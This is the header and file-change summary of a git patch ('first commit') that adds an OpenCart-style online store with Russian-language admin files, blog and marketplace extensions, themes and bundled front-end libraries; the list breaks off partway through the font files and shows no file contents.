From de0344d218808036f045bc743a82b57144e7fc53 Mon Sep 17 00:00:00 2001
From: Konstantin
Date: Sat, 30 May 2026 09:27:58 +0300
Subject: [PATCH] first commit
---
.gitignore | 63 +
public/.htaccess | 58 +
public/admin/controller/blog/article.php | 935 +
public/admin/controller/blog/category.php | 681 +
public/admin/controller/blog/review.php | 650 +
public/admin/controller/blog/setting.php | 297 +
public/admin/controller/catalog/attribute.php | 418 +
.../controller/catalog/attribute_group.php | 359 +
public/admin/controller/catalog/category.php | 802 +
public/admin/controller/catalog/download.php | 514 +
public/admin/controller/catalog/filter.php | 409 +
.../admin/controller/catalog/information.php | 606 +
.../admin/controller/catalog/manufacturer.php | 584 +
public/admin/controller/catalog/option.php | 508 +
public/admin/controller/catalog/product.php | 1880 +
public/admin/controller/catalog/recurring.php | 514 +
public/admin/controller/catalog/review.php | 650 +
.../admin/controller/common/column_left.php | 785 +
public/admin/controller/common/dashboard.php | 101 +
public/admin/controller/common/developer.php | 195 +
.../admin/controller/common/filemanager.php | 437 +
public/admin/controller/common/footer.php | 14 +
public/admin/controller/common/forgotten.php | 71 +
public/admin/controller/common/header.php | 91 +
public/admin/controller/common/login.php | 115 +
public/admin/controller/common/logout.php | 10 +
public/admin/controller/common/profile.php | 211 +
public/admin/controller/common/reset.php | 103 +
public/admin/controller/common/security.php | 143 +
.../controller/customer/custom_field.php | 498 +
public/admin/controller/customer/customer.php | 1504 +
.../controller/customer/customer_approval.php | 246 +
.../controller/customer/customer_group.php | 378 +
public/admin/controller/design/banner.php | 403 +
public/admin/controller/design/layout.php | 464 +
public/admin/controller/design/seo_url.php | 544 +
public/admin/controller/design/theme.php | 311 +
.../admin/controller/design/translation.php | 509 +
public/admin/controller/error/not_found.php | 26 +
public/admin/controller/error/permission.php | 26 +
public/admin/controller/event/language.php | 26 +
public/admin/controller/event/statistics.php | 16 +
public/admin/controller/event/theme.php | 15 +
.../controller/extension/advertise/google.php | 2089 +
.../controller/extension/analytics/google.php | 85 +
.../extension/analytics/yandex_metrika.php | 135 +
.../controller/extension/captcha/basic.php | 67 +
.../controller/extension/captcha/google.php | 99 +
.../controller/extension/currency/cbr.php | 138 +
.../controller/extension/currency/ecb.php | 132 +
.../controller/extension/currency/fixer.php | 145 +
.../controller/extension/currency/nbu.php | 137 +
.../extension/dashboard/activity.php | 120 +
.../controller/extension/dashboard/chart.php | 197 +
.../extension/dashboard/customer.php | 124 +
.../extension/dashboard/domovoy.php | 455 +
.../controller/extension/dashboard/map.php | 111 +
.../controller/extension/dashboard/online.php | 113 +
.../controller/extension/dashboard/order.php | 124 +
.../controller/extension/dashboard/recent.php | 118 +
.../controller/extension/dashboard/sale.php | 123 +
.../controller/extension/export_import.php | 570 +
.../extension/extension/advertise.php | 134 +
.../extension/extension/analytics.php | 136 +
.../extension/extension/captcha.php | 126 +
.../extension/extension/currency.php | 125 +
.../extension/extension/dashboard.php | 114 +
.../controller/extension/extension/feed.php | 127 +
.../controller/extension/extension/fraud.php | 125 +
.../controller/extension/extension/menu.php | 121 +
.../controller/extension/extension/module.php | 213 +
.../extension/extension/payment.php | 157 +
.../controller/extension/extension/report.php | 112 +
.../extension/extension/shipping.php | 145 +
.../controller/extension/extension/theme.php | 131 +
.../controller/extension/extension/total.php | 122 +
.../controller/extension/feed/google_base.php | 243 +
.../extension/feed/google_sitemap.php | 69 +
.../extension/feed/google_sitemap_fast.php | 69 +
.../controller/extension/feed/unisender.php | 162 +
.../extension/feed/yandex_market.php | 311 +
.../extension/feed/yandex_turbo.php | 85 +
.../extension/fraud/fraudlabspro.php | 331 +
.../admin/controller/extension/fraud/ip.php | 171 +
.../controller/extension/fraud/maxmind.php | 429 +
.../controller/extension/module/account.php | 67 +
.../controller/extension/module/banner.php | 154 +
.../extension/module/bestseller.php | 152 +
.../extension/module/blog_category.php | 70 +
.../extension/module/blog_featured.php | 181 +
.../extension/module/blog_latest.php | 155 +
.../controller/extension/module/carousel.php | 154 +
.../controller/extension/module/category.php | 67 +
.../controller/extension/module/featured.php | 178 +
.../extension/module/featured_article.php | 155 +
.../extension/module/featured_product.php | 155 +
.../controller/extension/module/filter.php | 67 +
.../controller/extension/module/html.php | 118 +
.../extension/module/information.php | 67 +
.../controller/extension/module/latest.php | 152 +
.../extension/module/oc3x_storage_cleaner.php | 537 +
.../controller/extension/module/slideshow.php | 154 +
.../controller/extension/module/special.php | 152 +
.../controller/extension/module/store.php | 73 +
.../extension/module/subcategory.php | 104 +
.../extension/module/wd_banners.php | 176 +
.../controller/extension/payment/cod.php | 99 +
.../extension/report/customer_activity.php | 179 +
.../extension/report/customer_order.php | 176 +
.../extension/report/customer_reward.php | 160 +
.../extension/report/customer_search.php | 197 +
.../extension/report/customer_transaction.php | 158 +
.../controller/extension/report/marketing.php | 162 +
.../extension/report/product_purchased.php | 160 +
.../extension/report/product_viewed.php | 149 +
.../extension/report/sale_coupon.php | 145 +
.../extension/report/sale_order.php | 196 +
.../extension/report/sale_return.php | 193 +
.../extension/report/sale_shipping.php | 195 +
.../controller/extension/report/sale_tax.php | 197 +
.../controller/extension/shipping/flat.php | 99 +
.../controller/extension/theme/default.php | 414 +
.../controller/extension/theme/dominik.php | 414 +
.../controller/extension/total/coupon.php | 73 +
.../controller/extension/total/credit.php | 73 +
.../controller/extension/total/handling.php | 95 +
.../extension/total/lightshopsets.php | 86 +
.../extension/total/low_order_fee.php | 95 +
.../controller/extension/total/reward.php | 73 +
.../controller/extension/total/shipping.php | 79 +
.../controller/extension/total/sub_total.php | 73 +
.../admin/controller/extension/total/tax.php | 73 +
.../controller/extension/total/total.php | 73 +
.../controller/extension/total/voucher.php | 87 +
.../admin/controller/localisation/country.php | 438 +
.../controller/localisation/currency.php | 463 +
.../controller/localisation/geo_zone.php | 377 +
.../controller/localisation/language.php | 438 +
.../controller/localisation/length_class.php | 375 +
.../controller/localisation/location.php | 427 +
.../controller/localisation/order_status.php | 366 +
.../controller/localisation/return_action.php | 345 +
.../controller/localisation/return_reason.php | 345 +
.../controller/localisation/return_status.php | 355 +
.../controller/localisation/stock_status.php | 346 +
.../controller/localisation/tax_class.php | 373 +
.../controller/localisation/tax_rate.php | 403 +
.../controller/localisation/weight_class.php | 375 +
public/admin/controller/localisation/zone.php | 393 +
public/admin/controller/mail/affiliate.php | 114 +
public/admin/controller/mail/customer.php | 114 +
public/admin/controller/mail/forgotten.php | 26 +
public/admin/controller/mail/return.php | 58 +
public/admin/controller/mail/reward.php | 65 +
public/admin/controller/mail/transaction.php | 64 +
public/admin/controller/marketing/contact.php | 247 +
public/admin/controller/marketing/coupon.php | 556 +
.../admin/controller/marketing/marketing.php | 496 +
public/admin/controller/marketplace/api.php | 39 +
public/admin/controller/marketplace/event.php | 260 +
.../controller/marketplace/extension.php | 57 +
.../admin/controller/marketplace/install.php | 520 +
.../controller/marketplace/installer.php | 172 +
.../controller/marketplace/modification.php | 1424 +
.../controller/marketplace/promotion.php | 40 +
public/admin/controller/report/online.php | 121 +
public/admin/controller/report/report.php | 72 +
public/admin/controller/report/statistics.php | 262 +
public/admin/controller/sale/order.php | 1843 +
public/admin/controller/sale/recurring.php | 432 +
public/admin/controller/sale/return.php | 919 +
public/admin/controller/sale/voucher.php | 678 +
.../admin/controller/sale/voucher_theme.php | 381 +
public/admin/controller/search/search.php | 147 +
public/admin/controller/service/service.php | 896 +
public/admin/controller/setting/setting.php | 1134 +
public/admin/controller/setting/store.php | 717 +
public/admin/controller/startup/error.php | 43 +
public/admin/controller/startup/event.php | 15 +
public/admin/controller/startup/login.php | 38 +
.../admin/controller/startup/permission.php | 55 +
public/admin/controller/startup/router.php | 37 +
public/admin/controller/startup/startup.php | 69 +
public/admin/controller/tool/backup.php | 160 +
public/admin/controller/tool/log.php | 121 +
public/admin/controller/tool/upload.php | 396 +
public/admin/controller/user/api.php | 417 +
public/admin/controller/user/user.php | 495 +
.../admin/controller/user/user_permission.php | 429 +
public/admin/index.php | 22 +
public/admin/language/.htaccess | 5 +
public/admin/language/ru-ru/blog/article.php | 58 +
public/admin/language/ru-ru/blog/category.php | 52 +
public/admin/language/ru-ru/blog/review.php | 39 +
public/admin/language/ru-ru/blog/setting.php | 51 +
.../language/ru-ru/catalog/attribute.php | 29 +
.../ru-ru/catalog/attribute_group.php | 27 +
.../admin/language/ru-ru/catalog/category.php | 59 +
.../admin/language/ru-ru/catalog/download.php | 37 +
.../admin/language/ru-ru/catalog/filter.php | 29 +
.../language/ru-ru/catalog/information.php | 54 +
.../language/ru-ru/catalog/manufacturer.php | 55 +
.../admin/language/ru-ru/catalog/option.php | 43 +
.../admin/language/ru-ru/catalog/product.php | 139 +
.../language/ru-ru/catalog/recurring.php | 45 +
.../admin/language/ru-ru/catalog/review.php | 39 +
.../language/ru-ru/common/column_left.php | 142 +
.../admin/language/ru-ru/common/dashboard.php | 26 +
.../admin/language/ru-ru/common/developer.php | 33 +
.../language/ru-ru/common/filemanager.php | 25 +
public/admin/language/ru-ru/common/footer.php | 7 +
.../admin/language/ru-ru/common/forgotten.php | 22 +
public/admin/language/ru-ru/common/header.php | 22 +
public/admin/language/ru-ru/common/login.php | 22 +
.../admin/language/ru-ru/common/profile.php | 36 +
public/admin/language/ru-ru/common/reset.php | 19 +
.../admin/language/ru-ru/common/security.php | 29 +
public/admin/language/ru-ru/common/stats.php | 7 +
.../language/ru-ru/customer/custom_field.php | 52 +
.../language/ru-ru/customer/customer.php | 81 +
.../ru-ru/customer/customer_approval.php | 31 +
.../ru-ru/customer/customer_group.php | 33 +
public/admin/language/ru-ru/design/banner.php | 34 +
.../admin/language/ru-ru/design/benefit.php | 42 +
.../language/ru-ru/design/custommenu.php | 56 +
.../admin/language/ru-ru/design/language.php | 20 +
public/admin/language/ru-ru/design/layout.php | 45 +
public/admin/language/ru-ru/design/menu.php | 34 +
.../admin/language/ru-ru/design/seo_url.php | 33 +
.../admin/language/ru-ru/design/sticker.php | 37 +
public/admin/language/ru-ru/design/theme.php | 26 +
.../language/ru-ru/design/translation.php | 35 +
.../admin/language/ru-ru/error/not_found.php | 9 +
.../admin/language/ru-ru/error/permission.php | 9 +
.../ru-ru/extension/advertise/google.php | 323 +
.../ru-ru/extension/analytics/google.php | 17 +
.../extension/analytics/google_analytics.php | 20 +
.../extension/analytics/yandex_metrika.php | 23 +
.../ru-ru/extension/captcha/basic.php | 16 +
.../ru-ru/extension/captcha/google.php | 21 +
.../language/ru-ru/extension/currency/cbr.php | 15 +
.../language/ru-ru/extension/currency/ecb.php | 15 +
.../ru-ru/extension/currency/fixer.php | 18 +
.../language/ru-ru/extension/currency/nbu.php | 15 +
.../ru-ru/extension/dashboard/activity.php | 35 +
.../ru-ru/extension/dashboard/chart.php | 25 +
.../ru-ru/extension/dashboard/customer.php | 20 +
.../ru-ru/extension/dashboard/domovoy.php | 73 +
.../ru-ru/extension/dashboard/map.php | 21 +
.../ru-ru/extension/dashboard/online.php | 20 +
.../ru-ru/extension/dashboard/order.php | 20 +
.../ru-ru/extension/dashboard/recent.php | 27 +
.../ru-ru/extension/dashboard/sale.php | 20 +
.../admin/language/ru-ru/extension/event.php | 21 +
.../language/ru-ru/extension/extension.php | 24 +
.../ru-ru/extension/extension/advertise.php | 17 +
.../ru-ru/extension/extension/analytics.php | 18 +
.../ru-ru/extension/extension/captcha.php | 18 +
.../ru-ru/extension/extension/currency.php | 15 +
.../ru-ru/extension/extension/dashboard.php | 20 +
.../ru-ru/extension/extension/feed.php | 18 +
.../ru-ru/extension/extension/fraud.php | 18 +
.../ru-ru/extension/extension/marketing.php | 15 +
.../ru-ru/extension/extension/menu.php | 18 +
.../ru-ru/extension/extension/module.php | 26 +
.../ru-ru/extension/extension/openbay.php | 120 +
.../ru-ru/extension/extension/other.php | 15 +
.../ru-ru/extension/extension/payment.php | 20 +
.../ru-ru/extension/extension/report.php | 19 +
.../ru-ru/extension/extension/shipping.php | 20 +
.../ru-ru/extension/extension/theme.php | 18 +
.../ru-ru/extension/extension/total.php | 19 +
.../ru-ru/extension/feed/google_base.php | 28 +
.../ru-ru/extension/feed/google_sitemap.php | 20 +
.../extension/feed/google_sitemap_fast.php | 16 +
.../ru-ru/extension/feed/openbaypro.php | 10 +
.../ru-ru/extension/feed/unisender.php | 26 +
.../ru-ru/extension/feed/yandex_market.php | 89 +
.../ru-ru/extension/feed/yandex_turbo.php | 18 +
.../ru-ru/extension/fraud/fraudlabspro.php | 83 +
.../language/ru-ru/extension/fraud/ip.php | 30 +
.../ru-ru/extension/fraud/maxmind.php | 126 +
.../language/ru-ru/extension/installer.php | 42 +
.../language/ru-ru/extension/menu/default.php | 25 +
.../language/ru-ru/extension/modification.php | 22 +
.../ru-ru/extension/module/account.php | 16 +
.../ru-ru/extension/module/affiliate.php | 16 +
.../ru-ru/extension/module/banner.php | 25 +
.../ru-ru/extension/module/bestseller.php | 25 +
.../ru-ru/extension/module/blog_category.php | 17 +
.../ru-ru/extension/module/blog_featured.php | 28 +
.../ru-ru/extension/module/blog_latest.php | 24 +
.../ru-ru/extension/module/carousel.php | 24 +
.../ru-ru/extension/module/category.php | 17 +
.../ru-ru/extension/module/category4level.php | 18 +
.../ru-ru/extension/module/ebay_listing.php | 35 +
.../ru-ru/extension/module/featured.php | 28 +
.../extension/module/featured_article.php | 25 +
.../extension/module/featured_product.php | 25 +
.../ru-ru/extension/module/filter.php | 17 +
.../language/ru-ru/extension/module/html.php | 21 +
.../ru-ru/extension/module/imgcategory.php | 24 +
.../ru-ru/extension/module/information.php | 17 +
.../ru-ru/extension/module/latest.php | 24 +
.../ru-ru/extension/module/manufacturer.php | 18 +
.../extension/module/oc3x_storage_cleaner.php | 33 +
.../ru-ru/extension/module/popular.php | 25 +
.../ru-ru/extension/module/pp_button.php | 17 +
.../ru-ru/extension/module/pp_login.php | 38 +
.../ru-ru/extension/module/product_tab.php | 25 +
.../ru-ru/extension/module/slideshow.php | 24 +
.../ru-ru/extension/module/special.php | 24 +
.../language/ru-ru/extension/module/store.php | 18 +
.../ru-ru/extension/module/subcategory.php | 20 +
.../ru-ru/extension/module/subscribe.php | 28 +
.../ru-ru/extension/module/wd_banners.php | 24 +
.../language/ru-ru/extension/openbay.php | 95 +
.../ru-ru/extension/openbay/amazon.php | 18 +
.../extension/openbay/amazon_bulk_linking.php | 36 +
.../extension/openbay/amazon_bulk_listing.php | 52 +
.../ru-ru/extension/openbay/amazon_links.php | 33 +
.../extension/openbay/amazon_listing.php | 113 +
.../extension/openbay/amazon_listingsaved.php | 21 +
.../extension/openbay/amazon_settings.php | 66 +
.../extension/openbay/amazon_stockupdates.php | 23 +
.../extension/openbay/amazon_subscription.php | 38 +
.../ru-ru/extension/openbay/amazonus.php | 18 +
.../openbay/amazonus_bulk_linking.php | 30 +
.../openbay/amazonus_bulk_listing.php | 46 +
.../extension/openbay/amazonus_links.php | 33 +
.../extension/openbay/amazonus_listing.php | 106 +
.../openbay/amazonus_listingsaved.php | 21 +
.../extension/openbay/amazonus_settings.php | 58 +
.../openbay/amazonus_stockupdates.php | 23 +
.../openbay/amazonus_subscription.php | 38 +
.../language/ru-ru/extension/openbay/ebay.php | 29 +
.../ru-ru/extension/openbay/ebay_edit.php | 59 +
.../ru-ru/extension/openbay/ebay_import.php | 40 +
.../ru-ru/extension/openbay/ebay_links.php | 57 +
.../ru-ru/extension/openbay/ebay_new.php | 206 +
.../ru-ru/extension/openbay/ebay_newbulk.php | 80 +
.../ru-ru/extension/openbay/ebay_orders.php | 24 +
.../ru-ru/extension/openbay/ebay_profile.php | 113 +
.../ru-ru/extension/openbay/ebay_settings.php | 116 +
.../extension/openbay/ebay_subscription.php | 31 +
.../ru-ru/extension/openbay/ebay_summary.php | 30 +
.../extension/openbay/ebay_syncronise.php | 33 +
.../ru-ru/extension/openbay/ebay_template.php | 30 +
.../ru-ru/extension/openbay/ebay_usage.php | 14 +
.../language/ru-ru/extension/openbay/etsy.php | 20 +
.../ru-ru/extension/openbay/etsy_create.php | 71 +
.../ru-ru/extension/openbay/etsy_edit.php | 30 +
.../ru-ru/extension/openbay/etsy_links.php | 37 +
.../ru-ru/extension/openbay/etsy_listings.php | 52 +
.../ru-ru/extension/openbay/etsy_settings.php | 44 +
.../language/ru-ru/extension/openbay/fba.php | 12 +
.../extension/openbay/fba_fulfillment.php | 50 +
.../openbay/fba_fulfillment_list.php | 26 +
.../ru-ru/extension/openbay/fba_order.php | 61 +
.../ru-ru/extension/openbay/fba_settings.php | 58 +
.../extension/openbay/openbay_itemlist.php | 60 +
.../ru-ru/extension/openbay/openbay_menu.php | 17 +
.../ru-ru/extension/openbay/openbay_order.php | 38 +
.../language/ru-ru/extension/payment/cod.php | 24 +
.../extension/report/customer_activity.php | 34 +
.../ru-ru/extension/report/customer_order.php | 27 +
.../extension/report/customer_reward.php | 25 +
.../extension/report/customer_search.php | 27 +
.../extension/report/customer_transaction.php | 30 +
.../ru-ru/extension/report/marketing.php | 23 +
.../extension/report/product_purchased.php | 24 +
.../ru-ru/extension/report/product_viewed.php | 20 +
.../ru-ru/extension/report/sale_coupon.php | 21 +
.../ru-ru/extension/report/sale_order.php | 29 +
.../ru-ru/extension/report/sale_return.php | 26 +
.../ru-ru/extension/report/sale_shipping.php | 28 +
.../ru-ru/extension/report/sale_tax.php | 28 +
.../ru-ru/extension/shipping/flat.php | 21 +
.../admin/language/ru-ru/extension/store.php | 25 +
.../ru-ru/extension/theme/default.php | 53 +
.../ru-ru/extension/theme/dominik.php | 53 +
.../ru-ru/extension/theme/lightshop.php | 396 +
.../ru-ru/extension/theme/theme_default.php | 48 +
.../extension/theme/theme_lightshop_ol.php | 17 +
.../language/ru-ru/extension/total/coupon.php | 18 +
.../language/ru-ru/extension/total/credit.php | 18 +
.../ru-ru/extension/total/handling.php | 24 +
.../ru-ru/extension/total/lightshopsets.php | 15 +
.../ru-ru/extension/total/low_order_fee.php | 24 +
.../language/ru-ru/extension/total/reward.php | 18 +
.../ru-ru/extension/total/shipping.php | 19 +
.../ru-ru/extension/total/sub_total.php | 18 +
.../language/ru-ru/extension/total/tax.php | 18 +
.../language/ru-ru/extension/total/total.php | 18 +
.../ru-ru/extension/total/voucher.php | 18 +
.../ru-ru/extension/user/user_group.php | 30 +
.../language/ru-ru/localisation/country.php | 39 +
.../language/ru-ru/localisation/currency.php | 41 +
.../language/ru-ru/localisation/geo_zone.php | 29 +
.../language/ru-ru/localisation/language.php | 46 +
.../ru-ru/localisation/length_class.php | 33 +
.../language/ru-ru/localisation/location.php | 41 +
.../ru-ru/localisation/order_status.php | 27 +
.../ru-ru/localisation/return_action.php | 24 +
.../ru-ru/localisation/return_reason.php | 24 +
.../ru-ru/localisation/return_status.php | 25 +
.../ru-ru/localisation/stock_status.php | 24 +
.../language/ru-ru/localisation/tax_class.php | 33 +
.../language/ru-ru/localisation/tax_rate.php | 36 +
.../ru-ru/localisation/weight_class.php | 33 +
.../language/ru-ru/localisation/zone.php | 33 +
.../language/ru-ru/mail/affiliate_approve.php | 10 +
.../language/ru-ru/mail/affiliate_deny.php | 9 +
.../language/ru-ru/mail/customer_approve.php | 10 +
.../language/ru-ru/mail/customer_deny.php | 9 +
.../admin/language/ru-ru/mail/forgotten.php | 9 +
public/admin/language/ru-ru/mail/return.php | 11 +
public/admin/language/ru-ru/mail/reward.php | 8 +
public/admin/language/ru-ru/mail/voucher.php | 11 +
.../language/ru-ru/marketing/affiliate.php | 90 +
.../language/ru-ru/marketing/contact.php | 39 +
.../admin/language/ru-ru/marketing/coupon.php | 59 +
.../language/ru-ru/marketing/marketing.php | 37 +
.../admin/language/ru-ru/marketplace/api.php | 19 +
.../language/ru-ru/marketplace/event.php | 23 +
.../language/ru-ru/marketplace/extension.php | 12 +
.../language/ru-ru/marketplace/install.php | 21 +
.../language/ru-ru/marketplace/installer.php | 33 +
.../ru-ru/marketplace/modification.php | 94 +
.../language/ru-ru/marketplace/openbay.php | 95 +
public/admin/language/ru-ru/report/online.php | 30 +
public/admin/language/ru-ru/report/report.php | 12 +
.../language/ru-ru/report/statistics.php | 27 +
public/admin/language/ru-ru/ru-ru.php | 168 +
public/admin/language/ru-ru/ru-ru.png | Bin 0 -> 420 bytes
public/admin/language/ru-ru/sale/order.php | 135 +
.../admin/language/ru-ru/sale/recurring.php | 66 +
public/admin/language/ru-ru/sale/return.php | 65 +
public/admin/language/ru-ru/sale/voucher.php | 51 +
.../language/ru-ru/sale/voucher_theme.php | 27 +
public/admin/language/ru-ru/search/search.php | 18 +
.../admin/language/ru-ru/service/service.php | 44 +
.../admin/language/ru-ru/setting/setting.php | 297 +
public/admin/language/ru-ru/setting/store.php | 128 +
public/admin/language/ru-ru/tool/backup.php | 25 +
public/admin/language/ru-ru/tool/log.php | 14 +
.../admin/language/ru-ru/tool/seomanager.php | 38 +
public/admin/language/ru-ru/tool/upload.php | 24 +
public/admin/language/ru-ru/user/api.php | 33 +
public/admin/language/ru-ru/user/user.php | 39 +
.../admin/language/ru-ru/user/user_group.php | 30 +
public/admin/model/blog/article.php | 459 +
public/admin/model/blog/category.php | 273 +
public/admin/model/blog/review.php | 119 +
public/admin/model/catalog/attribute.php | 105 +
.../admin/model/catalog/attribute_group.php | 90 +
public/admin/model/catalog/category.php | 486 +
public/admin/model/catalog/download.php | 94 +
public/admin/model/catalog/filter.php | 179 +
public/admin/model/catalog/information.php | 223 +
public/admin/model/catalog/manufacturer.php | 267 +
public/admin/model/catalog/option.php | 177 +
public/admin/model/catalog/product.php | 917 +
public/admin/model/catalog/recurring.php | 108 +
public/admin/model/catalog/review.php | 119 +
public/admin/model/customer/custom_field.php | 208 +
public/admin/model/customer/customer.php | 487 +
.../model/customer/customer_approval.php | 102 +
.../admin/model/customer/customer_group.php | 97 +
public/admin/model/design/banner.php | 106 +
public/admin/model/design/layout.php | 109 +
public/admin/model/design/seo_url.php | 123 +
public/admin/model/design/theme.php | 38 +
public/admin/model/design/translation.php | 66 +
.../model/extension/advertise/google.php | 697 +
.../model/extension/dashboard/activity.php | 8 +
.../admin/model/extension/dashboard/chart.php | 214 +
.../admin/model/extension/dashboard/map.php | 20 +
.../model/extension/dashboard/online.php | 24 +
.../admin/model/extension/dashboard/sale.php | 438 +
.../admin/model/extension/export_import.php | 9547 ++
.../model/extension/feed/google_base.php | 97 +
.../model/extension/fraud/fraudlabspro.php | 125 +
public/admin/model/extension/fraud/ip.php | 50 +
.../admin/model/extension/fraud/maxmind.php | 73 +
.../extension/module/oc3x_storage_cleaner.php | 74 +
.../admin/model/extension/report/activity.php | 8 +
.../admin/model/extension/report/coupon.php | 60 +
.../admin/model/extension/report/customer.php | 380 +
.../extension/report/customer_transaction.php | 62 +
.../model/extension/report/marketing.php | 60 +
.../admin/model/extension/report/product.php | 96 +
.../admin/model/extension/report/return.php | 100 +
public/admin/model/extension/report/sale.php | 438 +
.../admin/model/extension/theme/callback.php | 117 +
.../admin/model/extension/theme/lightshop.php | 805 +
.../model/extension/theme/lightshopblog.php | 413 +
.../extension/theme/lightshopblogreview.php | 131 +
.../extension/theme/lightshopcatblog.php | 365 +
.../model/extension/theme/lightshopnews.php | 298 +
.../model/extension/theme/lightshopsets.php | 277 +
.../admin/model/extension/theme/subscribe.php | 157 +
public/admin/model/localisation/country.php | 86 +
public/admin/model/localisation/currency.php | 169 +
public/admin/model/localisation/geo_zone.php | 130 +
public/admin/model/localisation/language.php | 307 +
.../admin/model/localisation/length_class.php | 120 +
public/admin/model/localisation/location.php | 65 +
.../admin/model/localisation/order_status.php | 100 +
.../model/localisation/return_action.php | 100 +
.../model/localisation/return_reason.php | 100 +
.../model/localisation/return_status.php | 100 +
.../admin/model/localisation/stock_status.php | 100 +
public/admin/model/localisation/tax_class.php | 105 +
public/admin/model/localisation/tax_rate.php | 104 +
.../admin/model/localisation/weight_class.php | 120 +
public/admin/model/localisation/zone.php | 92 +
public/admin/model/marketing/coupon.php | 152 +
public/admin/model/marketing/marketing.php | 118 +
public/admin/model/report/online.php | 60 +
public/admin/model/report/statistics.php | 30 +
public/admin/model/sale/order.php | 478 +
public/admin/model/sale/recurring.php | 197 +
public/admin/model/sale/return.php | 199 +
public/admin/model/sale/voucher.php | 103 +
public/admin/model/sale/voucher_theme.php | 99 +
public/admin/model/search/search.php | 87 +
public/admin/model/service/service.php | 399 +
public/admin/model/setting/event.php | 88 +
public/admin/model/setting/extension.php | 77 +
public/admin/model/setting/modification.php | 114 +
public/admin/model/setting/module.php | 42 +
public/admin/model/setting/setting.php | 54 +
public/admin/model/setting/store.php | 114 +
public/admin/model/tool/backup.php | 67 +
public/admin/model/tool/image.php | 47 +
public/admin/model/tool/upload.php | 108 +
public/admin/model/user/api.php | 123 +
public/admin/model/user/user.php | 128 +
public/admin/model/user/user_group.php | 85 +
.../image/advertise/google/ad-preview.png | Bin 0 -> 7517 bytes
public/admin/view/image/checkmark.png | Bin 0 -> 169 bytes
.../view/image/export-import/loading.gif | Bin 0 -> 733 bytes
.../view/image/lightshop/catalog-type1.png | Bin 0 -> 9882 bytes
.../view/image/lightshop/catalog-type2.png | Bin 0 -> 12398 bytes
.../view/image/lightshop/footer-type-1.png | Bin 0 -> 6463 bytes
.../view/image/lightshop/footer-type-2.png | Bin 0 -> 17266 bytes
.../view/image/lightshop/header-type-1.png | Bin 0 -> 3888 bytes
.../view/image/lightshop/header-type-2.png | Bin 0 -> 7356 bytes
.../view/image/lightshop/header-type-3.png | Bin 0 -> 8000 bytes
.../view/image/lightshop/lightshop-logo.png | Bin 0 -> 757 bytes
public/admin/view/image/loader-search.gif | Bin 0 -> 1849 bytes
public/admin/view/image/logo.png | Bin 0 -> 5034 bytes
.../bootstrap/css/bootstrap-theme.css | 587 +
.../bootstrap/css/bootstrap-theme.css.map | 1 +
.../bootstrap/css/bootstrap-theme.min.css | 5 +
.../javascript/bootstrap/css/bootstrap.css | 6800 ++
.../bootstrap/css/bootstrap.css.map | 1 +
.../bootstrap/css/bootstrap.min.css | 5 +
.../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20127 bytes
.../fonts/glyphicons-halflings-regular.svg | 288 +
.../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 45404 bytes
.../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23424 bytes
.../fonts/glyphicons-halflings-regular.woff2 | Bin 0 -> 18028 bytes
.../view/javascript/bootstrap/js/bootstrap.js | 2320 +
.../javascript/bootstrap/js/bootstrap.min.js | 7 +
.../admin/view/javascript/bootstrap/js/npm.js | 13 +
.../javascript/codemirror-dle/css/default.css | 403 +
.../view/javascript/codemirror-dle/js/LICENSE | 19 +
.../view/javascript/codemirror-dle/js/code.js | 518 +
.../codemirror-froala/css/default.css | 403 +
.../javascript/codemirror-froala/js/LICENSE | 19 +
.../javascript/codemirror-froala/js/code.js | 518 +
.../javascript/codemirror/lib/codemirror.css | 338 +
.../javascript/codemirror/lib/codemirror.js | 8908 ++
.../javascript/codemirror/lib/formatting.js | 196 +
.../view/javascript/codemirror/lib/xml.js | 345 +
.../javascript/codemirror/theme/3024-day.css | 41 +
.../codemirror/theme/3024-night.css | 39 +
.../javascript/codemirror/theme/abcdef.css | 32 +
.../codemirror/theme/ambiance-mobile.css | 5 +
.../javascript/codemirror/theme/ambiance.css | 74 +
.../codemirror/theme/base16-dark.css | 38 +
.../codemirror/theme/base16-light.css | 38 +
.../javascript/codemirror/theme/bespin.css | 34 +
.../codemirror/theme/blackboard.css | 32 +
.../javascript/codemirror/theme/cobalt.css | 25 +
.../codemirror/theme/colorforth.css | 33 +
.../javascript/codemirror/theme/dracula.css | 41 +
.../javascript/codemirror/theme/eclipse.css | 23 +
.../javascript/codemirror/theme/elegant.css | 13 +
.../codemirror/theme/erlang-dark.css | 34 +
.../javascript/codemirror/theme/hopscotch.css | 34 +
.../javascript/codemirror/theme/icecoder.css | 43 +
.../javascript/codemirror/theme/isotope.css | 34 +
.../codemirror/theme/lesser-dark.css | 47 +
.../javascript/codemirror/theme/liquibyte.css | 95 +
.../javascript/codemirror/theme/material.css | 53 +
.../view/javascript/codemirror/theme/mbo.css | 37 +
.../javascript/codemirror/theme/mdn-like.css | 46 +
.../javascript/codemirror/theme/midnight.css | 45 +
.../javascript/codemirror/theme/monokai.css | 36 +
.../view/javascript/codemirror/theme/neat.css | 12 +
.../view/javascript/codemirror/theme/neo.css | 43 +
.../javascript/codemirror/theme/night.css | 27 +
.../codemirror/theme/paraiso-dark.css | 38 +
.../codemirror/theme/paraiso-light.css | 38 +
.../codemirror/theme/pastel-on-dark.css | 53 +
.../codemirror/theme/railscasts.css | 34 +
.../javascript/codemirror/theme/rubyblue.css | 25 +
.../view/javascript/codemirror/theme/seti.css | 44 +
.../javascript/codemirror/theme/solarized.css | 163 +
.../codemirror/theme/the-matrix.css | 30 +
.../theme/tomorrow-night-bright.css | 35 +
.../theme/tomorrow-night-eighties.css | 38 +
.../view/javascript/codemirror/theme/ttcn.css | 64 +
.../javascript/codemirror/theme/twilight.css | 32 +
.../codemirror/theme/vibrant-ink.css | 34 +
.../javascript/codemirror/theme/xq-dark.css | 53 +
.../javascript/codemirror/theme/xq-light.css | 43 +
.../view/javascript/codemirror/theme/yeti.css | 44 +
.../javascript/codemirror/theme/zenburn.css | 37 +
public/admin/view/javascript/common.js | 282 +
.../font-awesome/css/font-awesome.css | 2337 +
.../font-awesome/css/font-awesome.min.css | 4 +
.../font-awesome/fonts/FontAwesome.otf | Bin 0 -> 134808 bytes
.../fonts/fontawesome-webfont.eot | Bin 0 -> 165742 bytes
.../fonts/fontawesome-webfont.svg | 2671 +
.../fonts/fontawesome-webfont.ttf | Bin 0 -> 165548 bytes
.../fonts/fontawesome-webfont.woff | Bin 0 -> 98024 bytes
